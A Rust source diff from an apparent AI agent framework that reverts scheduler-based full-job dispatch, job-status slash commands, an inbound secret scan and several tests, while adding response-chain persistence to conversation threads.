notify_tx: mpsc::Sender<OutgoingResponse>,
scheduler: Option<Arc<Scheduler>>,
) -> Self {
Self {
config,
@@ -63,7 +59,6 @@ impl RoutineEngine {
notify_tx,
running_count: Arc::new(AtomicUsize::new(0)),
event_cache: Arc::new(RwLock::new(Vec::new())),
scheduler,
}
}
@@ -230,7 +225,7 @@ impl RoutineEngine {
workspace: self.workspace.clone(),
notify_tx: self.notify_tx.clone(),
running_count: self.running_count.clone(),
scheduler: self.scheduler.clone(),
max_lightweight_tokens: self.config.max_lightweight_tokens,
};
tokio::spawn(async move {
@@ -262,7 +257,7 @@ impl RoutineEngine {
workspace: self.workspace.clone(),
notify_tx: self.notify_tx.clone(),
running_count: self.running_count.clone(),
scheduler: self.scheduler.clone(),
max_lightweight_tokens: self.config.max_lightweight_tokens,
};
// Record the run in DB, then spawn execution
@@ -309,7 +304,7 @@ struct EngineContext {
workspace: Arc<Workspace>,
notify_tx: mpsc::Sender<OutgoingResponse>,
running_count: Arc<AtomicUsize>,
scheduler: Option<Arc<Scheduler>>,
max_lightweight_tokens: u32,
}
/// Execute a routine run. Handles both lightweight and full_job modes.
@@ -323,11 +318,29 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun)
context_paths,
max_tokens,
} => execute_lightweight(&ctx, &routine, prompt, context_paths, *max_tokens).await,
RoutineAction::FullJob {
title,
description,
max_iterations,
} => execute_full_job(&ctx, &routine, &run, title, description, *max_iterations).await,
RoutineAction::FullJob { description, .. } => {
// Full job mode: scheduler integration not yet implemented.
// Execute as lightweight and prepend a warning to the summary.
tracing::warn!(
routine = %routine.name,
"FullJob mode not yet implemented; falling back to lightweight execution"
);
match execute_lightweight(&ctx, &routine, description, &[], ctx.max_lightweight_tokens)
.await
{
Ok((status, summary, tokens)) => {
let warning = "[Note: FullJob mode is not yet implemented. This routine ran as \
a single LLM call without tool access. Configure as 'lightweight' \
or wait for full scheduler integration.]";
let summary = match summary {
Some(s) => Some(format!("{warning}\n\n{s}")),
None => Some(warning.to_string()),
};
Ok((status, summary, tokens))
}
Err(e) => Err(e),
}
}
};
// Decrement running count
@@ -405,57 +418,6 @@ fn sanitize_routine_name(name: &str) -> String {
.collect()
}
/// Execute a full-job routine by dispatching to the scheduler.
///
/// Fire-and-forget: creates a job via `Scheduler::dispatch_job` (which handles
/// creation, metadata, persistence, and scheduling), links the routine run to
/// the job, and returns immediately. The job runs independently via the
/// existing Worker/Scheduler with full tool access.
async fn execute_full_job(
ctx: &EngineContext,
routine: &Routine,
run: &RoutineRun,
title: &str,
description: &str,
max_iterations: u32,
) -> Result<(RunStatus, Option<String>, Option<i32>), RoutineError> {
let scheduler = ctx
.scheduler
.as_ref()
.ok_or_else(|| RoutineError::JobDispatchFailed {
reason: "scheduler not available".to_string(),
})?;
let metadata = serde_json::json!({ "max_iterations": max_iterations });
let job_id = scheduler
.dispatch_job(&routine.user_id, title, description, Some(metadata))
.await
.map_err(|e| RoutineError::JobDispatchFailed {
reason: format!("failed to dispatch job: {e}"),
})?;
// Link the routine run to the dispatched job
if let Err(e) = ctx.store.link_routine_run_to_job(run.id, job_id).await {
tracing::error!(
routine = %routine.name,
"Failed to link run to job: {}", e
);
}
tracing::info!(
routine = %routine.name,
job_id = %job_id,
max_iterations = max_iterations,
"Dispatched full job for routine"
);
let summary = format!(
"Dispatched job {job_id} for full execution with tool access (max_iterations: {max_iterations})"
);
Ok((RunStatus::Ok, Some(summary), None))
}
/// Execute a lightweight routine (single LLM call).
async fn execute_lightweight(
ctx: &EngineContext,
@@ -600,13 +562,10 @@ async fn send_notification(
let response = OutgoingResponse {
content: message,
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "routine",
"routine_name": routine_name,
"status": status.to_string(),
"notify_user": notify.user,
"notify_channel": notify.channel,
}),
};
+1 -45
View File
@@ -81,50 +81,6 @@ impl Scheduler {
}
}
/// Create, persist, and schedule a job in one shot.
///
/// This is the preferred entry point for dispatching new jobs. It:
/// 1. Creates the job context via `ContextManager`
/// 2. Optionally applies metadata (e.g. `max_iterations`)
/// 3. Persists the job to the database (so FK references from
/// `job_actions` / `llm_calls` work immediately)
/// 4. Schedules the job for worker execution
///
/// Returns the new job ID.
pub async fn dispatch_job(
&self,
user_id: &str,
title: &str,
description: &str,
metadata: Option<serde_json::Value>,
) -> Result<Uuid, JobError> {
let job_id = self
.context_manager
.create_job_for_user(user_id, title, description)
.await?;
// Apply metadata if provided
if let Some(meta) = metadata {
self.context_manager
.update_context(job_id, |ctx| {
ctx.metadata = meta;
})
.await?;
}
// Persist to DB before scheduling so the worker's FK references are valid
if let Some(ref store) = self.store {
let ctx = self.context_manager.get_context(job_id).await?;
store.save_job(&ctx).await.map_err(|e| JobError::Failed {
id: job_id,
reason: format!("failed to persist job: {e}"),
})?;
}
self.schedule(job_id).await?;
Ok(job_id)
}
/// Schedule a job for execution.
pub async fn schedule(&self, job_id: Uuid) -> Result<(), JobError> {
// Hold write lock for the entire check-insert sequence to prevent
@@ -401,7 +357,7 @@ impl Scheduler {
.into());
}
if tool.requires_approval(&params).is_required() {
if tool.requires_approval() {
return Err(crate::error::ToolError::AuthRequired {
name: tool_name.to_string(),
}
-130
View File
@@ -387,134 +387,4 @@ mod tests {
};
assert!(matches!(manual, RepairResult::ManualRequired { .. }));
}
// === QA Plan - Self-repair stuck job tests ===
#[tokio::test]
async fn detect_no_stuck_jobs_when_all_healthy() {
let cm = Arc::new(ContextManager::new(10));
// Create a job and leave it Pending (not stuck).
cm.create_job("Job 1", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert!(stuck.is_empty());
}
#[tokio::test]
async fn detect_stuck_job_finds_stuck_state() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Stuck job", "desc").await.unwrap();
// Transition to InProgress, then to Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| {
ctx.transition_to(JobState::Stuck, Some("timed out".to_string()))
})
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert_eq!(stuck.len(), 1);
assert_eq!(stuck[0].job_id, job_id);
}
#[tokio::test]
async fn repair_stuck_job_succeeds_within_limit() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Repairable", "desc").await.unwrap();
// Move to InProgress -> Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None))
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(120),
last_error: None,
repair_attempts: 0,
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::Success { .. }),
"Expected Success, got: {:?}",
result
);
// Job should be back to InProgress after recovery.
let ctx = cm.get_context(job_id).await.unwrap();
assert_eq!(ctx.state, JobState::InProgress);
}
#[tokio::test]
async fn repair_stuck_job_returns_manual_when_limit_exceeded() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Unrepairable", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(300),
last_error: Some("persistent failure".to_string()),
repair_attempts: 2, // == max
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired, got: {:?}",
result
);
}
#[tokio::test]
async fn detect_broken_tools_returns_empty_without_store() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
// No store configured, should return empty.
let broken = repair.detect_broken_tools().await;
assert!(broken.is_empty());
}
#[tokio::test]
async fn repair_broken_tool_returns_manual_without_builder() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let broken = BrokenTool {
name: "test-tool".to_string(),
failure_count: 10,
last_error: Some("crash".to_string()),
first_failure: Utc::now(),
last_failure: Utc::now(),
last_build_result: None,
repair_attempts: 0,
};
let result = repair.repair_broken_tool(&broken).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired without builder, got: {:?}",
result
);
}
}
+8
View File
@@ -185,6 +185,10 @@ pub struct Thread {
/// Pending auth token request (thread is in auth mode).
#[serde(default)]
pub pending_auth: Option<PendingAuth>,
/// Last NEAR AI response ID for response chaining. Persisted to DB
/// metadata so we can resume chaining across restarts.
#[serde(default)]
pub last_response_id: Option<String>,
}
impl Thread {
@@ -201,6 +205,7 @@ impl Thread {
metadata: serde_json::Value::Null,
pending_approval: None,
pending_auth: None,
last_response_id: None,
}
}
@@ -217,6 +222,7 @@ impl Thread {
metadata: serde_json::Value::Null,
pending_approval: None,
pending_auth: None,
last_response_id: None,
}
}
@@ -857,6 +863,7 @@ mod tests {
thread.start_turn("hello");
thread.complete_turn("world");
thread.last_response_id = Some("resp_abc123".to_string());
let json = serde_json::to_string(&thread).unwrap();
let restored: Thread = serde_json::from_str(&json).unwrap();
@@ -866,6 +873,7 @@ mod tests {
assert_eq!(restored.turns.len(), 1);
assert_eq!(restored.turns[0].user_input, "hello");
assert_eq!(restored.turns[0].response, Some("world".to_string()));
assert_eq!(restored.last_response_id, Some("resp_abc123".to_string()));
}
#[test]
-185
View File
@@ -128,42 +128,6 @@ impl SessionManager {
}
}
// Check if external_thread_id is itself a known thread UUID that
// exists in the session but was never registered in the thread_map
// (e.g. created by chat_new_thread_handler or hydrated from DB).
// We only adopt it if no thread_map entry maps to this UUID —
// otherwise it belongs to a different channel scope.
if let Some(ext_tid) = external_thread_id
&& let Ok(ext_uuid) = Uuid::parse_str(ext_tid)
{
let thread_map = self.thread_map.read().await;
let mapped_elsewhere = thread_map.values().any(|&v| v == ext_uuid);
drop(thread_map);
if !mapped_elsewhere {
let sess = session.lock().await;
if sess.threads.contains_key(&ext_uuid) {
drop(sess);
let mut thread_map = self.thread_map.write().await;
// Re-check after acquiring write lock to prevent race condition
// where another task mapped this UUID between our read and write.
if !thread_map.values().any(|&v| v == ext_uuid) {
thread_map.insert(key, ext_uuid);
drop(thread_map);
// Ensure undo manager exists
let mut undo_managers = self.undo_managers.write().await;
undo_managers
.entry(ext_uuid)
.or_insert_with(|| Arc::new(Mutex::new(UndoManager::new())));
return (session, ext_uuid);
}
// If it was mapped elsewhere while we were unlocked, fall through
// to create a new thread, preserving channel isolation.
}
}
}
// Create new thread (always create a new one for a new key)
let thread_id = {
let mut sess = session.lock().await;
@@ -771,153 +735,4 @@ mod tests {
.await;
assert_ne!(resolved, tid);
}
// === QA Plan P3 - 4.2: Concurrent session stress tests ===
#[tokio::test]
async fn concurrent_get_or_create_same_user_returns_same_session() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..30)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_or_create_session("shared-user").await })
})
.collect();
let mut sessions = Vec::new();
for handle in handles {
sessions.push(handle.await.expect("task should not panic"));
}
// All 30 must return the *same* Arc (double-checked locking guarantee).
for s in &sessions {
assert!(Arc::ptr_eq(&sessions[0], s));
}
}
#[tokio::test]
async fn concurrent_resolve_thread_distinct_users_no_cross_talk() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..20)
.map(|i| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move {
let user = format!("user-{i}");
let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await;
(user, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All thread IDs must be unique.
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 20);
// Each session should contain exactly 1 thread (its own).
for (_, session, tid) in &results {
let sess = session.lock().await;
assert!(sess.threads.contains_key(tid));
assert_eq!(sess.threads.len(), 1);
}
}
#[tokio::test]
async fn concurrent_resolve_thread_same_user_different_channels() {
let manager = Arc::new(SessionManager::new());
let channels = ["gateway", "telegram", "slack", "cli", "repl"];
let handles: Vec<_> = channels
.iter()
.map(|ch| {
let mgr = Arc::clone(&manager);
let channel = ch.to_string();
tokio::spawn(async move {
let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await;
(channel, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All 5 threads must be unique (different channels = different keys).
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 5);
// All threads should live in the same session.
let sess = results[0].1.lock().await;
assert_eq!(sess.threads.len(), 5);
}
#[tokio::test]
async fn concurrent_get_undo_manager_same_thread_returns_same_arc() {
let manager = Arc::new(SessionManager::new());
let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await;
let handles: Vec<_> = (0..20)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_undo_manager(tid).await })
})
.collect();
let mut managers = Vec::new();
for handle in handles {
managers.push(handle.await.expect("task should not panic"));
}
// All 20 must point to the same UndoManager.
for m in &managers {
assert!(Arc::ptr_eq(&managers[0], m));
}
}
#[tokio::test]
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
use crate::agent::session::{Session, Thread};
let manager = SessionManager::new();
let tid = Uuid::new_v4();
// Simulate chat_new_thread_handler: create thread directly in session
// without registering it in thread_map
let session = Arc::new(Mutex::new(Session::new("user-direct")));
{
let mut sess = session.lock().await;
let thread = Thread::with_id(tid, sess.id);
sess.threads.insert(tid, thread);
}
{
let mut sessions = manager.sessions.write().await;
sessions.insert("user-direct".to_string(), Arc::clone(&session));
}
// resolve_thread should find the existing thread by UUID
// instead of creating a duplicate
let (_, resolved) = manager
.resolve_thread("user-direct", "gateway", Some(&tid.to_string()))
.await;
assert_eq!(
resolved, tid,
"should reuse existing thread, not create a new one"
);
// Verify no duplicate threads were created
let sess = session.lock().await;
assert_eq!(
sess.threads.len(),
1,
"should have exactly 1 thread, not a duplicate"
);
}
}
-134
View File
@@ -62,23 +62,6 @@ impl SubmissionParser {
args: vec![],
};
}
if lower == "/skills" {
return Submission::SystemCommand {
command: "skills".to_string(),
args: vec![],
};
}
if lower.starts_with("/skills ") {
let args: Vec<String> = trimmed
.split_whitespace()
.skip(1)
.map(|s| s.to_string())
.collect();
return Submission::SystemCommand {
command: "skills".to_string(),
args,
};
}
if lower == "/ping" {
return Submission::SystemCommand {
command: "ping".to_string(),
@@ -107,29 +90,6 @@ impl SubmissionParser {
return Submission::Quit;
}
// Job commands
if lower == "/status" || lower == "/progress" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower
.strip_prefix("/status ")
.or_else(|| lower.strip_prefix("/progress "))
{
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobStatus { job_id: Some(id) };
}
}
if lower == "/list" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower.strip_prefix("/cancel ") {
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobCancel { job_id: id };
}
}
// /thread <uuid> - switch thread
if let Some(rest) = lower.strip_prefix("/thread ") {
let rest = rest.trim();
@@ -252,18 +212,6 @@ pub enum Submission {
/// Suggest next steps based on the current thread.
Suggest,
/// Check job status. No job_id shows all jobs; with job_id shows a specific job.
JobStatus {
/// Optional job ID (UUID or short prefix). If None, shows all jobs.
job_id: Option<String>,
},
/// Cancel a running job.
JobCancel {
/// Job ID (UUID or short prefix).
job_id: String,
},
/// Quit the agent. Bypasses thread-state checks.
Quit,
@@ -348,8 +296,6 @@ impl Submission {
| Self::Heartbeat
| Self::Summarize
| Self::Suggest
| Self::JobStatus { .. }
| Self::JobCancel { .. }
| Self::SystemCommand { .. }
)
}
@@ -747,86 +693,6 @@ mod tests {
assert!(!submission.starts_turn());
}
#[test]
fn test_parser_system_command_skills() {
let submission = SubmissionParser::parse("/skills");
assert!(
matches!(submission, Submission::SystemCommand { command, args } if command == "skills" && args.is_empty())
);
// Case insensitive
let submission = SubmissionParser::parse("/SKILLS");
assert!(
matches!(submission, Submission::SystemCommand { command, .. } if command == "skills")
);
}
#[test]
fn test_parser_system_command_skills_search() {
let submission = SubmissionParser::parse("/skills search markdown");
assert!(
matches!(submission, Submission::SystemCommand { command, args }
if command == "skills" && args == vec!["search", "markdown"])
);
// Multiple words in query
let submission = SubmissionParser::parse("/skills search code review tools");
assert!(
matches!(submission, Submission::SystemCommand { command, args }
if command == "skills" && args == vec!["search", "code", "review", "tools"])
);
}
#[test]
fn test_parser_job_status() {
// /status with no id → all jobs
let s = SubmissionParser::parse("/status");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /progress alias
let s = SubmissionParser::parse("/progress");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /status with id
let s = SubmissionParser::parse("/status abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// /progress with id
let s = SubmissionParser::parse("/progress abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// case insensitive
let s = SubmissionParser::parse("/STATUS");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_list() {
// /list is an alias for /status with no job_id
let s = SubmissionParser::parse("/list");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
let s = SubmissionParser::parse("/LIST");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_cancel() {
let s = SubmissionParser::parse("/cancel abc123");
assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123"));
// /cancel with no id → falls through to UserInput
let s = SubmissionParser::parse("/cancel");
assert!(matches!(s, Submission::UserInput { .. }));
}
#[test]
fn test_job_commands_are_control() {
assert!(SubmissionParser::parse("/status").is_control());
assert!(SubmissionParser::parse("/list").is_control());
assert!(SubmissionParser::parse("/cancel abc").is_control());
}
#[test]
fn test_parser_quit() {
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
+116 -181
View File
@@ -16,7 +16,6 @@ use crate::agent::dispatcher::{
};
use crate::agent::session::{PendingApproval, Session, ThreadState};
use crate::agent::submission::SubmissionResult;
use crate::channels::web::util::truncate_preview;
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobContext;
use crate::error::Error;
@@ -70,8 +69,6 @@ impl Agent {
.filter_map(|m| match m.role.as_str() {
"user" => Some(ChatMessage::user(&m.content)),
"assistant" => Some(ChatMessage::assistant(&m.content)),
// tool_calls rows are UI metadata (tool name + preview),
// not part of the LLM conversation context.
_ => None,
})
.collect();
@@ -90,6 +87,20 @@ impl Agent {
thread.restore_from_messages(chat_messages);
}
// Restore response chain from conversation metadata
if let Some(store) = self.store()
&& let Ok(Some(metadata)) = store.get_conversation_metadata(thread_uuid).await
&& let Some(rid) = metadata
.get("last_response_id")
.and_then(|v| v.as_str())
.map(String::from)
{
thread.last_response_id = Some(rid.clone());
self.llm()
.seed_response_chain(&thread_uuid.to_string(), rid);
tracing::debug!("Restored response chain for thread {}", thread_uuid);
}
// Insert into session and register with session manager
{
let mut sess = session.lock().await;
@@ -176,18 +187,6 @@ impl Agent {
return Ok(SubmissionResult::error("Input rejected by safety policy."));
}
// Scan inbound messages for secrets (API keys, tokens).
// Catching them here prevents the LLM from echoing them back, which
// would trigger the outbound leak detector and create error loops.
if let Some(warning) = self.safety().scan_inbound_for_secrets(content) {
tracing::warn!(
user = %message.user_id,
channel = %message.channel,
"Inbound message blocked: contains leaked secret"
);
return Ok(SubmissionResult::error(warning));
}
// Handle explicit commands (starting with /) directly
// Everything else goes through the normal agentic loop with tools
let temp_message = IncomingMessage {
@@ -229,7 +228,7 @@ impl Agent {
)
.await;
let compactor = ContextCompactor::new(self.llm().clone(), self.safety().clone());
let compactor = ContextCompactor::new(self.llm().clone());
if let Err(e) = compactor
.compact(thread, strategy, self.workspace().map(|w| w.as_ref()))
.await
@@ -267,10 +266,6 @@ impl Agent {
thread.messages()
};
// Persist user message to DB immediately so it survives crashes
self.persist_user_message(thread_id, &message.user_id, content)
.await;
// Send thinking status
let _ = self
.channels
@@ -283,7 +278,7 @@ impl Agent {
// Run the agentic tool execution loop
let result = self
.run_agentic_loop(message, session.clone(), thread_id, turn_messages)
.run_agentic_loop(message, session.clone(), thread_id, turn_messages, false)
.await;
// Re-acquire lock and check if interrupted
@@ -330,11 +325,7 @@ impl Agent {
};
thread.complete_turn(&response);
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
self.persist_response_chain(thread);
let _ = self
.channels
.send_status(
@@ -344,11 +335,8 @@ impl Agent {
)
.await;
// Persist tool calls then assistant response (user message already persisted at turn start)
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
// Fire-and-forget: persist turn to DB
self.persist_turn(thread_id, &message.user_id, content, Some(&response));
Ok(SubmissionResult::response(response))
}
@@ -376,135 +364,92 @@ impl Agent {
}
Err(e) => {
thread.fail_turn(e.to_string());
// User message already persisted at turn start; nothing else to save
// Persist the user message even on failure
self.persist_turn(thread_id, &message.user_id, content, None);
Ok(SubmissionResult::error(e.to_string()))
}
}
}
/// Persist the user message to the DB at turn start (before the agentic loop).
///
/// This ensures the user message is durable even if the process crashes
/// mid-response. Call this right after `thread.start_turn()`.
pub(super) async fn persist_user_message(
/// Fire-and-forget: persist a turn (user message + optional assistant response) to the DB.
pub(super) fn persist_turn(
&self,
thread_id: Uuid,
user_id: &str,
user_input: &str,
response: Option<&str>,
) {
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
let user_id = user_id.to_string();
let user_input = user_input.to_string();
let response = response.map(String::from);
if let Err(e) = store
.add_conversation_message(thread_id, "user", user_input)
.await
{
tracing::warn!("Failed to persist user message: {}", e);
}
}
/// Persist the assistant response to the DB after the agentic loop completes.
///
/// Re-ensures the conversation row exists so that assistant responses are
/// still persisted even if `persist_user_message` failed transiently at
/// turn start (e.g. a brief DB blip that resolved before response time).
pub(super) async fn persist_assistant_response(
&self,
thread_id: Uuid,
user_id: &str,
response: &str,
) {
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "assistant", response)
.await
{
tracing::warn!("Failed to persist assistant message: {}", e);
}
}
/// Persist tool call summaries to the DB as a `role="tool_calls"` message.
///
/// Stored between the user and assistant messages so that
/// `build_turns_from_db_messages` can reconstruct the tool call history.
/// Content is a JSON array of tool call summaries.
pub(super) async fn persist_tool_calls(
&self,
thread_id: Uuid,
user_id: &str,
tool_calls: &[crate::agent::session::TurnToolCall],
) {
if tool_calls.is_empty() {
return;
}
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let summaries: Vec<serde_json::Value> = tool_calls
.iter()
.map(|tc| {
let mut obj = serde_json::json!({ "name": tc.name });
if let Some(ref result) = tc.result {
let preview = match result {
serde_json::Value::String(s) => truncate_preview(s, 500),
other => truncate_preview(&other.to_string(), 500),
};
obj["result_preview"] = serde_json::Value::String(preview);
}
if let Some(ref error) = tc.error {
obj["error"] = serde_json::Value::String(truncate_preview(error, 200));
}
obj
})
.collect();
let content = match serde_json::to_string(&summaries) {
Ok(c) => c,
Err(e) => {
tracing::warn!("Failed to serialize tool calls: {}", e);
tokio::spawn(async move {
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", &user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "user", &user_input)
.await
{
tracing::warn!("Failed to persist user message: {}", e);
return;
}
if let Some(ref resp) = response
&& let Err(e) = store
.add_conversation_message(thread_id, "assistant", resp)
.await
{
tracing::warn!("Failed to persist assistant message: {}", e);
}
});
}
/// Sync the provider's response chain ID to the thread and DB metadata.
///
/// Call after a successful agentic loop to persist the latest
/// `previous_response_id` so chaining survives restarts.
pub(super) fn persist_response_chain(&self, thread: &mut crate::agent::session::Thread) {
let tid = thread.id.to_string();
let response_id = match self.llm().get_response_chain_id(&tid) {
Some(rid) => rid,
None => return,
};
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
// Update in-memory thread
thread.last_response_id = Some(response_id.clone());
if let Err(e) = store
.add_conversation_message(thread_id, "tool_calls", &content)
.await
{
tracing::warn!("Failed to persist tool calls: {}", e);
}
// Fire-and-forget DB write
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let thread_id = thread.id;
tokio::spawn(async move {
let val = serde_json::json!(response_id);
if let Err(e) = store
.update_conversation_metadata_field(thread_id, "last_response_id", &val)
.await
{
tracing::warn!(
"Failed to persist response chain for thread {}: {}",
thread_id,
e
);
}
});
}
pub(super) async fn process_undo(
@@ -617,7 +562,7 @@ impl Agent {
crate::agent::context_monitor::CompactionStrategy::Summarize { keep_recent: 5 },
);
let compactor = ContextCompactor::new(self.llm().clone(), self.safety().clone());
let compactor = ContextCompactor::new(self.llm().clone());
match compactor
.compact(thread, strategy, self.workspace().map(|w| w.as_ref()))
.await
@@ -675,13 +620,7 @@ impl Agent {
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
if thread.state != ThreadState::AwaitingApproval {
// Stale or duplicate approval (tool already executed) — silently ignore.
tracing::debug!(
%thread_id,
state = ?thread.state,
"Ignoring stale approval: thread not in AwaitingApproval state"
);
return Ok(SubmissionResult::ok_with_message(""));
return Ok(SubmissionResult::error("No pending approval request."));
}
thread.take_pending_approval()
@@ -689,13 +628,7 @@ impl Agent {
let pending = match pending {
Some(p) => p,
None => {
tracing::debug!(
%thread_id,
"Ignoring stale approval: no pending approval found"
);
return Ok(SubmissionResult::ok_with_message(""));
}
None => return Ok(SubmissionResult::error("No pending approval request.")),
};
// Verify request ID if provided
@@ -866,18 +799,19 @@ impl Agent {
)> = None;
for (idx, tc) in deferred_tool_calls.iter().enumerate() {
if let Some(tool) = self.tools().get(&tc.name).await {
use crate::tools::ApprovalRequirement;
let needs_approval = match tool.requires_approval(&tc.arguments) {
ApprovalRequirement::Never => false,
ApprovalRequirement::UnlessAutoApproved => {
let sess = session.lock().await;
!sess.is_tool_auto_approved(&tc.name)
if let Some(tool) = self.tools().get(&tc.name).await
&& tool.requires_approval()
{
let is_auto_approved = {
let sess = session.lock().await;
let mut approved = sess.is_tool_auto_approved(&tc.name);
if approved && tool.requires_approval_for(&tc.arguments) {
approved = false;
}
ApprovalRequirement::Always => true,
approved
};
if needs_approval {
if !is_auto_approved {
approval_needed = Some((idx, tc.clone(), tool));
break; // remaining tools stay deferred
}
@@ -1123,7 +1057,7 @@ impl Agent {
// Continue the agentic loop (a tool was already executed this turn)
let result = self
.run_agentic_loop(message, session.clone(), thread_id, context_messages)
.run_agentic_loop(message, session.clone(), thread_id, context_messages, true)
.await;
// Handle the result
@@ -1135,17 +1069,12 @@ impl Agent {
match result {
Ok(AgenticLoopResult::Response(response)) => {
let user_input = thread.last_turn().map(|t| t.user_input.clone());
thread.complete_turn(&response);
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
// User message already persisted at turn start; save tool calls then assistant response
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
if let Some(input) = user_input {
self.persist_turn(thread_id, &message.user_id, &input, Some(&response));
}
self.persist_response_chain(thread);
let _ = self
.channels
.send_status(
@@ -1180,8 +1109,11 @@ impl Agent {
})
}
Err(e) => {
let user_input = thread.last_turn().map(|t| t.user_input.clone());
thread.fail_turn(e.to_string());
// User message already persisted at turn start
if let Some(input) = user_input {
self.persist_turn(thread_id, &message.user_id, &input, None);
}
Ok(SubmissionResult::error(e.to_string()))
}
}
@@ -1195,11 +1127,12 @@ impl Agent {
{
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id) {
let user_input = thread.last_turn().map(|t| t.user_input.clone());
thread.clear_pending_approval();
thread.complete_turn(&rejection);
// User message already persisted at turn start; save rejection response
self.persist_assistant_response(thread_id, &message.user_id, &rejection)
.await;
if let Some(input) = user_input {
self.persist_turn(thread_id, &message.user_id, &input, Some(&rejection));
}
}
}
@@ -1234,11 +1167,13 @@ impl Agent {
{
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id) {
let user_input = thread.last_turn().map(|t| t.user_input.clone());
thread.enter_auth_mode(ext_name.clone());
thread.complete_turn(&instructions);
// User message already persisted at turn start; save auth instructions
self.persist_assistant_response(thread_id, &message.user_id, &instructions)
.await;
if let Some(input) = user_input {
self.persist_turn(thread_id, &message.user_id, &input, Some(&instructions));
}
self.persist_response_chain(thread);
}
}
let _ = self
+3 -143
View File
@@ -18,7 +18,6 @@ use crate::llm::{
};
use crate::safety::SafetyLayer;
use crate::tools::ToolRegistry;
